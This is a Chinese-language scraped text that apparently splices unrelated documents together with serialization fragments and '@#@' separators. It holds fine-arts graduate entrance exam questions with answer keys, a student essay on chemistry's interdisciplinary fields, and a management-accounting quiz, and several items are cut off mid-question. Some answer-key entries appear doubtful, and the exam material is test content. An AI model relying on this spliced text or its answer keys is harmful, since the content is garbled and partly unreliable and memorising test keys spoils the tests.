@#@@#@A.黑格尔B.斯宾塞C.席勒与和黑格尔D.席勒与斯宾塞@#@2.“希腊神话不只是希腊艺术的武库，而且是它的土壤”这段话的作者是：

@#@@#@A.温克尔曼B.沃尔夫林C.谢林D.马克思@#@3.石涛提出了：

@#@@#@A.“吾与吾周旋久，宁作我”B.“我之为我，自有我在”C.“情之所钟，正在吾辈”D.“无法而法，乃为至法”@#@4.《拉奥孔》的作者是：

@#@A.拉辛B.来辛C.康德D.叔本华@#@5.“以美育代宗教说”的作者是：

@#@@#@A.鲁迅B.王国维C.蔡元培D.徐悲鸿@#@三、判断对错（共10分，每题2分）@#@1.“形象思维”的原意并不是指用形象来思维。

@#@（）@#@2.“美术”（美的艺术）最早包括“绘画、雕塑”、舞蹈、音乐和诗歌。

@#@五种门类艺术。

@#@（）@#@3.亚里士多德提出了艺术的灵感说。

@#@（）@#@4.孔子的“里仁为美”指的是要以内心仁慈为美。

@#@（）@#@5.克乃父·@#@贝尔在19世纪末提出艺术乃“有意味的形式”的观点。

@#@（）@#@四、名词解释（共20分，每题5分）@#@1.理解的循环2.优美与崇高3.美术世界4.格调@#@五、论述题（共2题，每题20分）@#@1.有一种看法认为，美术作品“越是民族的，越是世界的”；@#@另一种看法则认为，美术作品“越是世界的，才越是民族的”。

@#@请根据美术史的事实分析这两种看法的理由，并陈述自己的看法。

@#@@#@2.你认为美术的商品价值与美学价值之间是否存在着关系？

@#@为什么？

@#@@#@ @#@@#@一、填空@#@1.德、鲍姆嘉通、感性学2《1844年经济学哲学手稿》、“人化的自然”3.阿恩海姆、格式塔4.李小山、中国画已到了穷途末路@#@二、选择1.D2.A3.D4.B5.C@#@三、判断1.√2.×@#@3.√4.×@#@5.√@#@四、名词解释@#@1.理解的循环是解释学一直讨论的问题，其内涵是：

@#@整体只有通过理解它的部分才能得到理解，而对部分的理解又只能通过对整体的理解。

@#@在理解艺术作品时，接受者必须理解作品中的部分，比如历史文化背景等，才能进而了解作品整体。

@#@在艺术接受理解活动中，没有人能逃避这一理解的循环，所不同的是谁能有效地进入并充分地利用这一循环，从而达到真正地、深刻地理解美术作品的目的。

@#@@#@2.优美与崇高的关于主体和客体审美关系中一对基本范畴。

@#@优美指在人与自然、人与社会和谐统一中呈现出来的自由，它在形态上体现为小、光滑、柔和等；@#@崇高是指人与自然、人与社会在矛盾冲突中克服矛盾所呈现出的自由；@#@它在形态上体现为巨大、坚硬、突跳等。

@#@优美与崇高的第一次严格区分是由英国美学家博克进行的。

@#@他认为优美和人的快感有关，而崇高和人的自我保存原则相联。

@#@康德遵循了博克的方向，认为优美是建立于对象的形式，“崇高却是也能在对象的无形式中发现”。

@#@优美和感性相关，崇高和理性相关。

@#@@#@4.格调是在艺术作品中表现出来的美学品格和思想情操。

@#@艺术作品的格调有高下雅俗之分。

@#@首先体现在作品的思想内容方面。

@#@高格调的作品一般来说有着健康的内容，深刻的思想，能触及生活的本质，展示生活的丰富性与复杂性；@#@体现艺术家的独立人格和严肃认真对待社会、人生与自我的态度。

@#@格调高的作品可分为两种类型：

@#@一种是在作品中能看出艺术家深厚的传统功力，并能恰如其分地用它们来表达相应的思想感情；@#@另一种是富有探索性和独创性的作品，从这类作品中能看到艺术家对传统的艺术观念的批判和所开辟的新的艺术领域。

@#@@#@ @#@@#@2004年中央美术学院硕士研究生招生考试试题-美术理论@#@一、填空（每题1分，共10分）@#@1.“集体无意识”是由瑞士理学家________提出来的。

@#@@#@2.德国美学家席勒关于审美教育的美学著作是__________。

@#@@#@3.元代文人画家倪瓒说“仆之所谓画者，不过逸笔草草，不求形似，________耳。

@#@@#@4.宗炳在《画山水序》中说：

@#@“__________，以色貌色。

@#@”@#@5.把艺术定义为“艺术是人类情感的符号形式的创造”的美学家是____________。

@#@@#@6.《为什么写作》的作者是________国的萨特。

@#@@#@7.明代王履提出了“吾师心，心师目，目师________”的创作思想。

@#@@#@8.提出“一画论”的画家是清代的________。

@#@@#@9.康德在《判断力批判》一书中提出了“纯粹美”相对立的概念“________”。

@#@@#@10.撰写《艺术与错觉》的作者是________。

@#@@#@二、选择（每题2分，共10分）@#@1.在西方艺术理论史上最早提出用“艺术世界”概念解释艺术的是：

@#@@#@A.康德B.黑格尔C.丹托D.克罗齐E.沃尔夫林@#@2.在中国历史上，最早具有“形神”观的年代可追溯到：

@#@@#@A.18000年前B.先秦C汉代D.魏晋E.唐代@#@3.把“境”分为“实境、真境、神境”三种类型的作者是：

@#@@#@A.王国维B.苏东坡C.唐志契D.笪重光E.李日华@#@4.在西方美学史上，被成为美学之父的是：

@#@@#@A.笛卡尔B.培根C黑格尔D.鲍姆嘉通E.克罗齐@#@5.现代主义艺术家康定斯基的理论著作为：

@#@@#@A.《艺术论》B.《论艺术的精神》C.《美学三讲》D.《走向更新的拉奥孔》E.《艺术问题》@#@三、判断（每题4分，共20分）@#@1.贝尔和弗莱的现代主义艺术理论是建立在印象派的艺术实践基础上的。

@#@（）@#@2.姚最在张璪的“外师造化，中得心源”之前提出了“心思造化”的主张。

@#@（）@#@3.鲁迅提出了“以美育带宗教”的美育思想。

@#@（）@#@4.哲学家柏格森用“绵延”的概念来解释艺术的特征。

@#@（）@#@5.沃尔夫林的《艺术风格学》是一本用图象学阐释艺术风格的著作。

@#@（）@#@四、名词解释（每题4分，共20分）@#@1.人化的自然2.气韵生动3.搜尽奇峰打草稿4.艺术媒介@#@五、论述题（每题20分，共40分）@#@1.在艺术理论和美学思想中，对艺术家在艺术本质中的作用和地位的认识，有两种完全对立的观点“一种认为在艺术的本质中，艺术家占据重要地位，另一种则持完全不同的立场。

@#@请你举例说出两种对立的观点的艺术理论或美学流派、代表人物、主要观点，并对你赞同的观点给予进一步论述。

@#@@#@2试结合具体的美术作品阐述“意识形态“在美术中的表现方式。

@#@@#@ @#@@#@04美术理论参考答案@#@一、填空@#@1.荣格2.《审美教育书简》3.寥以自娱4.以形写形5.苏珊·@#@朗格6.法7.华山8.石涛9.相对美10.冈布里希@#@二、选择1.C2.A3.D4.D5.B@#@三、判断1.×@#@后印象派2.×@#@心师造化3.×@#@蔡元培提出的4.√5.√@#@四、名词解释@#@1.“人化的自然”是马克思在《1844年经济学哲学手稿》中提出的观点，即指经由生产劳动实践，自然界从与人无关的、敌对的或自在的状态，变为与人相关的、统一的、为我的对象，其结果使人逐渐认识到客体对象的美并掌握了美的规律，从而发展起人的审美能力。

@#@“人化的自然”实际上指的是人与现实建立审美关系的条件，是人之所以能够认识美和欣赏美的条件，并不是指美本身。

@#@实践是认识的条件，并是认识的客观内容。

@#@美不等于审美，审美涉及到审美主体与审美客体，美则是审美客体的客观属性。

@#@正是由于生产实践活动，由于“人化的自然”，人才能与现实建立起审美关系，才会有越来越多的对象为审美关系中的客体对象；@#@而作为审美主体的人，也才会越来越有能力认识对象的美，并且能够发挥主观审美意识的能动作用改造对象并创造出新的审美对象。

@#@@#@2.“气韵生动”是南朝齐梁时期重要的艺术批评家谢赫在《画品》中提出的绘画六法中的第一法，也是中国绘画理论中影响深远的一个命题。

@#@“气”和“韵”都是富于中国传统多义性和涵盖性的概念。

@#@“气”是秦汉哲学中的重要概念，六朝时，思想家大都继承了气是天地万物之本源的思想。

@#@“韵”是六朝时期常用的概念，原指韵律，与“风韵”、“性韵“连用，指含有审美意义的特定气质。

@#@“生动”二字在唐代以来一直作为对“气韵”的形容而受到忽略，，但是“气韵生动”作为绘画“六法”在南朝提出时，最为重要的是“生动”而非“气韵”。

@#@@#@“气韵生动”在历代也不不同的理解和解释，但其所表现出的美学意义始终是不容低估的，其着眼点涉及宇宙观、人生观、艺术本体观念、形式自律等问题，体现了中国艺术中传统的美学特征。

@#@它要求艺术既深入物象的本质、内在的规律，同时又以一种宏观的把握，情思的感悟去捕捉画面自身生命力的律动。

@#@@#@3.“搜尽奇峰打草稿”是清代画家石涛在其著作《画语录·@#@山川章》中提出的，它是中国绘画理论中的一个重要问题。

@#@“搜尽奇峰打草稿”首先明确了艺术创作需要艺术家从事大量、艰苦、认真和深入的艺术实践，全面了解他所要表现的对象的各个方面的形态。

@#@“尽”即是要尽其所能。

@#@其次，“搜尽奇峰打草稿”也是一个物我交融的创作过程，要求艺术家不能机械动机摹拟自然形态，即使付出大量的努力也不可能立即创作出好的作品，这些只是“草稿”，需要经过升华，才能转化为真正意义上的艺术作品。

@#@郑板桥曾有“眼中之竹”、“胸中之竹”、“手中之竹”的一段论述，跟石涛的“搜尽奇峰打草稿”有着异曲同工之妙，都阐释了艺术家创作艺术作品的过程。

@#@@#@4.“艺术媒介”是美国艺术批评家格林伯格提出的。

@#@他继承了贝尔和弗莱的艺术本体论思想，但他对艺术本质的阐释已经转到了艺术媒介的物质实在方面，提出了“艺术是媒介”的现代主义命题。

@#@他认为现代艺术的本质依赖于它所传达的媒介手段的“客观实在的本质”的能力，媒介手段方法的经久不变正好含有艺术的自我证明，艺术批评必须通过分析媒介被获得的方法来表达艺术的本质，从而阐释艺术自身。

@#@格林伯格所说的“媒介”即物质性的颜色、线条和平面等，它们的特性决定着艺术的本质。

@#@@#@格林伯格对艺术本质的阐释深入到了绘画的物质媒介本身审美特性的层面，其理论对美国抽象表现主义以来的现代主义美术发生了世界性的影响。

@#@但提倡艺术完全自由和非意识形态化，反对艺术“主题”，反对客观现实的再现等主张，割断了艺术与现实的一切联系，否定了主体的精神创造，也就取消了艺术本身。

@#@因此，“媒介说”既不可能解释传统美术，也不能真正揭示现代美术的本质。

@#@@#@2003年中央美术学院硕士研究生招生考试试题-美术理论@#@一、填空（每题1分，共10分）@#@1.“黄金分割律”是由古希腊的___________学派发现的。

@#@@#@2.美学上“情感符号说”的代表人物是_____国的______和_____国的__________。

@#@@#@3.六朝时期宗炳写的山水画论的篇名是__________。

@#@王微写的山水画论的篇名是_________。

@#@@#@4.康德的哲学著作三大批判是____________、____________、____________。

@#@@#@二、选择（每题2分，共10分）@#@1.提出“思与境偕”的是：

@#@@#@A.司空图B.王国维C.张彦远D.王夫之@#@2.接受美学的代表人物是：

@#@@#@A.康定斯基B.阿多诺C.姚斯D.荆浩@#@3.《笔法记》的作者是：

@#@@#@A.谢赫B.王维C.石涛D.拉斐尔@#@4.最早区分优美与崇高的美学家是：

@#@@#@A.朗吉努斯B.博克C康德D.克罗齐@#@5.美国美术批评家格林伯格写了：

@#@@#@A.《走向更新的拉奥孔》B.《拉奥孔》C.《艺术》D.《论艺术的精神》@#@三、判断（每题4分，共20分）@#@1.沃尔夫林的美术史观是形式主义的。

@#@（）@#@2.《画筌》的作者是元代的画家兼理论家笪重光。

@#@（）@#@3.《美的分析》是英国画家荷加斯的著作。

@#@（）@#@4.冈布里希的美术史研究方法主要受卡西尔的哲学的影响。

@#@（）@#@5.“美是生活”是俄国的美学家别林斯基提出来的。

@#@（）@#@四、名词解释（每题4分，共20分）@#@1.异质同构2.游戏说3.艺术生产4.审美的期待视野5.主题@#@五、论述题（每题20分，共40分）@#@1.从艺术史的实际出发，阐释政治影响艺术的途径与方式。

@#@@#@2西方古典美学中关于形式美的理论，与现代美学中的形式主义理论有何本质区别？

@#@请结合西方艺术的史实论述这一问题。

@#@@#@ @#@@#@参考答案@#@一、填空@#@1.毕达哥拉斯学派2.德、卡西尔、美、苏珊·@#@朗格3.《画山水序》、《叙画》4.《纯粹理性批判》、《实践理性批判》、《判断力批判》@#@二、选择@#@1.A2.C3.D4.B5.A@#@三、判断@#@1.√2.×@#@笪重光是清代人3.√4.×@#@冈布里希受波普尔影响5.“美是生活”是由俄国的车尔尼雪夫斯基提出的。

@#@@#@四、名词解释@#@1.“异质同构”是“格式塔”心理学的理论核心，该学派的代表人物是美国现代心理学家鲁道夫·@#@阿恩海姆。

@#@格式塔心理学派认为，在外部事物的存在形式、人的视知觉组织活动和人的情感以及视觉艺术形式之间，有一种对应关系，一旦这几种不同领域的“力”作用模式达到结构上的一致时，就有可能激起审美经验，这就是“异质同构”。

@#@@#@2.在美的本质问题上，“游戏说”认为美术是自由的游戏。

@#@这一学说是由德国古典哲学家康德提出的，由席勒加以系统化，后来又由斯宾塞等作了进一步发展。

@#@康德认为艺术本质上是“自由的”，“好象只是游戏”。

@#@席勒也认为“艺术是自由的女儿”，把艺术看作是一种感性与理性的协调。

@#@英国哲学家斯宾把艺术和审美活动从本质上都看作是一种游戏。

@#@游戏说在19、20世纪都有一定影响，在不同程度上持此说的学者还有：

@#@谷鲁斯、朗格等。

@#@游戏说看到了自由的精神创造是艺术的本质之一，看到了艺术中感性与理性的和谐统一，看到了艺术给人的精神愉悦，这些都是十分深刻而有价值的。

@#@但它仅仅从主体去解释艺术，同客体、功利、实践与社会生活相割裂，因此是片面不完整的理论。

@#@@#@3.“艺术生产”这一概念是由马克思在1859年的著作《政治经济学批判》的《序言》中提出的。

@#@是马克思主义美学中的一个重要概念，它是同马克思主义整个理论体系联系在一起的。

@#@马克思把“艺术”与“生产”联系起来，从人的社会本质是生产实践活动的观点出发，把包括美术在内的“艺术”看作是一种生产形态，看作是人的一种生产实践活动，在美学史上是一个重大的理论创举。

@#@“艺术生产”是一种自由的精神生产，审美创造，审美是它的本质特征。

@#@在审美创造中，艺术把人的主观活动与客观世界高度统一起来。

@#@@#@5.主题的艺术家在艺术作品中对题材及其意义的认识、评价、态度和情感等，属于作品内容的主观因素。

@#@主题是作品内容中最重要的东西，通常也被称为中心思想或主题思想。

@#@作品的主题是一种从艺术形象中可以感受到的思想、见解、倾向、情感和理想，是符合生活的发展逻辑的，不是生硬地贴在作品上的标签。

@#@在艺术作品中，主题也可以是多方面的。

@#@一方面因为艺术家的思想情感是多方面的。

@#@另一方面，生活现象、文化现象本身就是丰富复杂的，同一对象会具有多方面的含义@#@2002年中央美术学院硕士研究生招生考试试题-美术理论@#@考研题库2010-08-2809:

@#@54:

@#@41阅读108评论0 @#@ @#@字号：

@#@大中小 @#@订阅@#@《美术理论》试题@#@一、填空（每空1分，共10分）@#@1.英国画家和理论家荷加斯提出最美的线条是_______和_______。

@#@@#@2.“美学之父”是_______国理论家_______。

@#@@#@3.“游戏说”的代表人物是_______和_______。

@#@@#@4.柏拉图把_______和_______定义为“理论感官”。

@#@@#@5.顾恺之的画论著作有_______和_______。

@#@@#@二、选择（每题2分，共10分）@#@1.顾恺之的“以形写神”意为：

@#@@#@A.用造型手法来表现绘画的精神B.用塑造人形的方法来表现人物的精神C.在摹写名画时要在形象中传达出人物之神D.其他@#@2.线性透视法的发明者：

@#@@#@A.达芬奇B.马萨乔C.乔托D.其他@#@3.在中文中，“美”的本义是：

@#@@#@A.羊大为美B.羊人为美C.都不对D.都对@#@4.提出“善、信、大、圣、神”观的是：

@#@@#@A.孔子B.老子C.孟子D.荀子@#@5.提出“艺术地掌握世界的方式”观的是：

@#@@#@A.马克思B.黑格尔C.列宁D.普列汉诺夫@#@三、判断并改错（共5题，每题2分）@#@1.科林伍德在《美学原理》一书中提出了“美就是直觉就是表现”的学说。

@#@（）@#@2.王国维关于“无我之境”的学说受到了叔本华的影响。

@#@（）@#@3.康德的“纯粹美”意为“艺术的本质在于形式美”。

@#@（）@#@4.吴冠中提出了“笔墨等于零”的观点。

@#@（";i:

11;s:

14774:

"化学与其他的学科之间的交叉@#@1.学科交叉的概念及由来@#@交叉学科是指由不同学科、领域、部门之间相互作用，彼此融合形成的一类学科群。

@#@其宽泛的含义也包括:

@#@边缘学科、综合学科、横断学科等在内。

@#@交叉学科既是一个学科概念，同时一又是一个历史范畴。

@#@从学科发展的历史长河来看，新学科的产生大都是传统或成熟学科相互交叉作用产生的结果。

@#@新学科在经历一段时一期的发展之后，将成为成熟的学科，进而有可能再与其他学科交叉作用发展而产生新的交叉学科。

@#@@#@20世纪下半叶,各类交叉学科的应用和兴起为科学发展带来了一股新风,许多科学前沿问题和多年悬而未决的问题在交叉学科的联合攻关中都取得了可喜的进展。

@#@随着越来越多交叉学科的出现及其在认识世界和改造世界中发挥作用的不辩事实,交叉学科在科学领域中的生命力都得到了充分的证明。

@#@@#@交叉学科起源于现代科学高度、精度发展的时代,现代科学技术活动一端深入到生产领域,扎根于经济建设,另一端则直接涉及上层建筑,与社会发展等交织在一起,并相互作用、相互影响。

@#@复杂的问题又多居于学科的交叉地带,学科的交叉自然而然地形成和成熟。

@#@当科学技术累计到现代文明的高度,科学研究所要解决的问题的形式发生了深刻的变化,科学研究已由主要解决单个的互不相关的问题过渡到研究问题群,并进而发展为以研究问题堆为主要研究模式。

@#@这样,研究行为就必然由局限于一个学科内或一学科内的某个分支领域发展到涉及一学科内的多个分支,或邻近学科空间,进而扩展到多学科之间。

@#@当社会经济发展到一定时期,社会科学、生命科学、机电工程、物理化学等等各个领域的问题变得越来越复杂,问题间的内部联系更为盘根错节,每类问题得出的不同视角的结论似乎都有新的发现,但又难以集结为系统的依据,这样的情形正是产生新的交叉学科的动力,从而在交叉学科内重新规划和完善方法和体制的系统,发现解决问题的理论和方法。

@#@这就是说,只要社会发展不停止,就会不断有产生交叉学科的需求。

@#@@#@2.化学与其他学科的交叉@#@2.1材料化学@#@材料科学的发展离不开化学。

@#@从无机金属材料非金属材料到有机高分子材料再到复合材料，我们看到了化学在材料领域里广阔的发展空间。

@#@没有化学就没有材料科学，是化学与物理的完美结合没有化学就没有材料，尤其就没有新的功能材料美国科学家AFHeeger，AGMacdiarmid和日本科学家HShirakawa因为发现聚乙炔（Polyacetylene）的导电性而获得2000年诺贝尔化学奖，此后又合成了一系列导电高分子材料其他如液晶电视（被动显像）、电致发光显示屏（主动显像）、光纤、锂电池、镍氢电池、压电陶瓷等等。

@#@@#@一些无机新型结构功能材料,象微电子材料、光导超导材料、导电陶瓷、纳米复合材料等近年来也一直大踏步前进,可以预见它们的发展前景是非常广阔的。

@#@但是现在合成的许多高分子材料使用后遗留下来的垃圾由于不能自然降解而产生环境污染，这必然是未来材料化学必须考虑的很重要的一个方面。

@#@要不能自动降解，要不能方便的再重新回收利用。

@#@而随着纳米技术的飞速发展，纳米材料的微观特性和高校活性必将促使纳米材料蓬勃发展，画上浓墨重彩的一笔。

@#@不管是对已有材料性能的改进，还是研发新型材料，化学都是这个领域不可缺少的重要一环。

@#@@#@2.2生物化学@#@自从1953年J．Watson和Ｆ．H．C．Crick在《自然》杂志上提出DNA双螺旋结构模型以来，生物学家就一直致力于阐明生命过程，但是当它涉及到如何去调控这一过程，则是留给化学家们的一个艰巨的挑战。

@#@比如一氧化氮分子在人体内的作用表明了化学过程是生命活动的基础。

@#@人怎样才能减慢衰老，或者夸张地说，怎样才能避免死亡，这都是化学家们应该思考的问题。

@#@@#@化学生物学正在成为一个重要的新兴交叉学科它是化学与生物学和医学等学科领域相互交叉相互渗透的产物化学的工具和方法包括合成的结构的和分析的被用于研究生物和医学问题9分子生物学的手段也被用来解决化学问题其主要策略是采用天然的或人工设计合成的小分子作为探针改变生物分子的功能探讨各种生理和病理过程中分子识别和信号通路的分子机制这些研究得到的知识不仅有助于阐明细胞过程的细节和调节机制增进在分子水平上对生命的认识而且对于创制和发展新颖药物都具有重要意义。

@#@化学生物学的中心任务就是用小分子达到对生命过程的调控。

@#@需要化学家研究的领域：

@#@1.发现并研究新的生物活性分子2.DNA序列虽然测定已经解决，人类基因组（HumanGenomeProject，HGP）计划也已经完成，但其功能和作用还几乎属于空白3.酶结构和催化功能的关系研究4.通过化学方法合成生物活性分子并模拟生命过程和生命体系的合成@#@2.3能源化学@#@随着世界人口的增加,人类社会对能源的消耗在不断增加。

@#@据估计,到2200年世界天然气和石油都将耗尽。

@#@煤也是不可再生资源。

@#@这样,化学面对这两个重要问题。

@#@首先是化工节能。

@#@众所周知，化工企业大多数是高能耗、高污染的企业，这与可持续发展战略是不相符的。

@#@所以节能装置的设计、更高效催化剂的寻找与合成、更低能耗的新工艺路线的设计以及反应过程中一些反应能比如余热的利用等都将成为化学家们急需解决的问题。

@#@@#@其次是新能源的开发和利用。

@#@像风能、太阳能、生物能、核能、水利发电等的利用都离不开化学的巨大作用。

@#@而我们也可以大胆设想，我们能不能通过地质化学的研究，了解煤和石油的生成机理，然后寻找由催化化学家寻找适当的催化剂和条件将原本需要数十万年乃至更长时间的地质过程在短时间内实现？

@#@如果这一途径实现，必将使能源危机得到缓解甚至彻底的解决。

@#@@#@2.4绿色化学@#@绿色化学是指在制造和应用化学产品时应有效利用（最好可再生）原料,消除废物和避免使用有毒的和危险的试剂和溶剂，即利用化学的原理、技术和方法减少或消灭对人类健康、社区安全、生态环境有害的原料、催化剂、溶剂、试剂、产物、副产物等的使用和产生。

@#@污染和废弃物大都来自化学并且极为迅速的消耗不可再生资源。

@#@GreenChemistry的核心就是要利用化学原理从源头消除污染。

@#@绿色化学是指化学反应和过程以“原子经济性”为基本原则，即在获得新物质的化学反应中充分利用参与反应的每个原料原子实现“零排放”。

@#@改造或创新化学反应过程，能源和洁净煤化学技术，资源再生和循环利用，综合利用的绿色化学生化工程例如：

@#@PS聚苯乙烯泡沫生产中用二氧化碳代替氟氯烃、煤电厂采用等离子除硫技术防止二氧化硫排放产生酸雨，等等@#@它是一门新兴学科，诞生时间不到十年，但是对人类的影响去不可低估。

@#@绿色化学化学家们需要既能利用化学在不产生危害的基础上去合成新物质去造福人类，也要能解决一些环境问题，给人类的生产生活创造一个更健康的的环境。

@#@不得不说这是一个很高的要求和挑战。

@#@加上原子经济性原则和能耗低的要求，我们现在还要做出很大改变，但是确是很有意义的！

@#@@#@2.5物理化学@#@物理化学是以物理的原理和实验技术为基础，研究化学体系的性质和行为，发现并建立化学体系中特殊规律的学科。

@#@随着科学的迅速发展和各门学科之间的相互渗透，物理化学与物理学、无机化学、有机化学在内容上存在着难以准确划分的界限，从而不断地产生新的分支学科，例如物理有机化学、生物物理化学、化学物理等。

@#@物理化学还与许多非化学的学科有着密切的联系，例如冶金学中的物理冶金实际上就是金属物理化学。

@#@@#@2.6化学与本专业（自动化）的交叉@#@随着化学和自动控制技术的进步,化工生产过程逐渐实现了自动化,人们可通过自动化装置来进行化学生产,自动化装置与工艺及设备已经结合为一个整体。

@#@比如PLC控制系统的技术就已经发展得较为成熟,在工业生产过程中得到广泛应用了。

@#@在化学生产中，温度等条件对反应有着很大影响，而由人手工操作，会有工人工作条件艰苦、工作压力大、反应所处条件波动大等缺点。

@#@而通过自动化装置控制，可以达到目的。

@#@自动化装置有可靠性高和适应恶劣工业环境能力等优点，很适合和化工生产合作。

@#@@#@2．7环境化学@#@1995年Nobel化学奖授予M.Molina（墨西哥）、S.Rowland（美）、P.Gutzen（荷兰），因为他们提出了平流层臭氧破坏的化学机制。

@#@并且直接导致了南极臭氧洞的发现和《蒙特利尔议定书》的签订。

@#@环境分析化学，没有分析化学家就没有现代的环境科学。

@#@分类：

@#@大气环境化学、水环境化学、土壤环境化学、元素化学循环、化学污染控制、环境计算化学。

@#@@#@2.8化学纳米工程学@#@机械加工以连续介质理论为基础,化学则侧重于对离散的化学键的操作,因而两者有本质的区别。

@#@但在纳米加工领域,机械学面临着化学键的不连续性。

@#@当前超精密加工的精度已经达到纳米尺度,由于纳米材料的特殊性质,微纳制造所依赖的基础理论也随着加工工件尺寸的缩小经历着由量变到质变的过程,因此,传统的机械学与化学在纳米尺度的交叉催生出新的学科———化学纳米工程学。

@#@该领域的基础研究将有助于我们提升纳米制造技术,增强国家制造业的核心竞争力。

@#@@#@2.9药物化学@#@药物化学（MedicinalChemistry）是建立在多种化学学科和生物学科基础之上，设计、合成和研究用于预防、诊断和治疗疾病药物的一门学科。

@#@研究内容涉及发现、发展和鉴定新药，以及在分子水平上解释药物及具有生物活性化合物的作用机理。

@#@此外，药物化学还涉及药物及其有关化合物代谢产物的研究、鉴定和合成。

@#@药物化学部分主要包括药物的名称、化学结构、理化性质及构效关系等方面容。

@#@药物化学不同于化学。

@#@举个例子：

@#@同样是95%浓度的乙醇，化学级的乙醇和药用级的乙醇有什么区别？

@#@药用级乙醇对于乙醇挥发物中对甲醇、异丙醇残留有严格的要求。

@#@生产级则无要求，分为分析纯及试剂纯，分析纯为“A.R”常用于液相色谱等精密仪器的含量测定，实际纯则用于日常的理化分析及大生产的提取分离纯化工作。

@#@药物化学在制药方面有重要作用。

@#@@#@2.10计算化学@#@分类：

@#@量子化学、数学化学（含化学计量学、拓扑结构等）、药物设计与对接、分子设计与分子模拟@#@3.新世纪的化学发展@#@21世纪化学的四大难题：

@#@1.化学的第一根本定律——化学反应理论和定律2.化学的第二根本定律——结构和性能的定量关系3.纳米尺度的基本规律4.活化分子运动的基本规律@#@21世纪化学的11个突破口：

@#@1.新的合成方法学2.纳米化学、耐米材料和分子器件，纳米表面化学、高效纳米催化剂设计合成及应用3.稀土化学4.能源科学中的化学问题5.生命和医药科学中的化学问题6.生态环境科学中的化学问题7.信息科学中的化学问题8.分析化学的十化“微型与芯片化、仿生化、在线化、实时化、原位化、在体化、智能与信息化、高灵敏化、高选择性化、单原子化和单分子化”9.化工化学复杂体系中的多层次、多尺度效应及其规律和方法学研究10.理论化学和计算化学的基础及应用研究11.化学信息学@#@21世纪化学研究的六大趋势：

@#@1.更加重视国家目标，更加重视不同学科之间的交叉融合2.理论和实验更加紧密结合3.在研究方法和手段上，更加重视尺度效应4.合成化学的新方法层出不穷5.分析化学已发展成为分析科学@#@从以上几个化学与其它领域的交叉发展可以看出，在未来，化学也不再局限于单纯的与某个学科交叉，而是更大范围内的合作。

@#@这种跨多领域的综合发展也对我们的综合素质、基础知识和综合运用能力提出了更高要求。

@#@@#@化学是与信息、生命、材料、环境、能源、地球、空间和核科学等八大朝阳科学（sun-risesciences）都有紧密的联系、交叉和渗透的中心科学。

@#@20世纪的化学取得了辉煌的成就，21世纪的化学将在与物理学、生命科学、材料科学、信息科学、能源、环境、海洋、空间科学的相互交叉，相互渗透，相互促进中共同大发展。

@#@@#@未来化学学科的发展，主要是在理论和交叉领域这两个方面。

@#@理论上还有存在许多现有理论需要我们去完善，还有许多现在无法解释的问题需要新的理论去解释，还有许多难题亟待解决才能更好的应用从而造福人类。

@#@在交叉领域，化学与材料科学、生命科学、能源科学、环境科学和自动化控制理论等学科相互渗透、相互影响、相互合作，给化学的发展带来了新的契机。

@#@@#@参考文献：

@#@@#@1.郑晓瑛.交叉学科的重要性及其发展.北京大学学报（哲学社会科学版）,2007.5,44（3）；@#@@#@2.徐晓白，祝心如.化学与生态学交叉学科的前沿研究领域.中国科学基金.1996,4；@#@@#@3.吴厚铭.化学生物学新兴的交叉前沿学科领域.化学进展.2000.11,12（4）；@#@@#@4.赵健伟.化学纳米工程学———新交叉学科的基础与展望.世界科技研究与发展.2008.2,1（30）；@#@@#@　@#@";i:

12;s:

18592:

"全面推进管理会计体系建设的主要任务包括@#@全面推进管理会计体系建设的主要任务包括@#@篇一：

@#@管理会计体系建设答案单项选择题（共1题）1.关于我国管理会计体系建设的目标，下列说法错误的是（）。

@#@争取3-5年内，在全国培养出一批管理会计人才力争通过5-10年左右的努力，使我国管理会计接近或达到世界先进水平力争通过3-5年左右的努力，管理会计咨询服务市场显著繁荣力争通过5-10年左右的努力，中国特色的管理会计理论体系基本形成判断题（共1题）2.我国管理会计建设的主要目标是建立与我国社会主义市场经济体制相适应的管理会计体系。

@#@（）错误正确单项选择题（共1题）1.关于财务会计与管理会计，下列说法错误的是（）。

@#@管理会计工作是会计工作的重要组成部分两者主要服务对象不同均必须遵循企业会计准则等外部强制法律法规管理会计又称对内报告会计判断题（共1题）2.财务会计侧重未来信息，无须遵循企业会计准则等外部强制法律法规。

@#@（）错误正确单项选择题（共1题）1.下列不属于管理会计系统的建设与设计必须能够直接涉及的内容的是（）。

@#@战略选择监控过程考评结果决策未来判断题（共1题）2.不同企业和同一企业在不同时期其管理会计系统的目标与重点应当一样。

@#@（）错误正确单项选择题（共1题）1.关于管理会计，下列说法错误的是（）。

@#@关注管理会计体系与企业文化、组织流程等方面的匹配管理会计与财务会计数据不同源，分类也不同研究、评估每种管理会计工具的基本原理、实施环境要求、潜在利弊，再决定导入哪（几）种具体的管理会计工具管理会计系统的开放性和非专业性，要求企业内部上上下下都有统一的组织认同、价值观的共识单项选择题（共1题）1.在实际管理中，能够有针对性地根据企业发展战略、经营特点、管控方式选择财务管理的方法和管理会计工具，实现财务管理与生产经营的深度融合，是指推进管理会计体系化建设“四化”中的（）。

@#@体系化数据化信息化个性化判断题（共1题）2.工具导入更多的是提供大量的表单、流程图、分析模板等“半成品”，使成员单位能在短时间内将管理会计工具真正用起来。

@#@（）错误正确1.统筹协调财务管理各项工作，围绕管理主线，运用相应工具和手段，实现风险控制和价值创造，是指推进管理会计体系化建设“四化”中的（）。

@#@体系化数据化信息化个性化2.数据化是指以管理的精细、科学为目标，实现制度流程化、流程表单化、表单数据化。

@#@（）错误正确1.从全价值链成本管理考虑，成本控制的最重一环是（）。

@#@研发和设计招聘和培训研发和采购采购和销售判断题（共1题）2.业务部门不只是本部门预算的编制者，也是分管业务预算的管理者。

@#@（）错误正确1.兵装集团下属长江电工总结的业务、财务融合“三关键”不包括（）。

@#@预算“做实”预算“做透”预算职责明确预算“做细”判断题（共1题）2.特种产品价格固定，但规模大，即使材料和人工成本不断上升，对企业效益没有影响。

@#@（）错误正确2.企业发展、管理提升都需要从管理层到员工的高度认同，需要企业所有成员群策群力。

@#@（）错误正确1.下列不属于兵装集团管理会计体系四个“联动”的是（）。

@#@业务与财务联动管理层与股东联动顶层设计和成员企业实践联动全面与试点联动判断题（共1题）2.兵装集团坚持成本管理向下深化，实现班组改善降成本，不断提高成本管理精细化水平。

@#@（）错误正确单项选择题（共1题）1.盈利分析体系中基本的盈利性分析单位是（）。

@#@科目报表账簿账户判断题（共1题）2.通过建立管理会计体系，将全行的利率风险集中控制，加强利率风险的管控水平。

@#@（）正确错误单项选择题（共1题）1.商业银行实施管理会计体系的外部动因不包括（）。

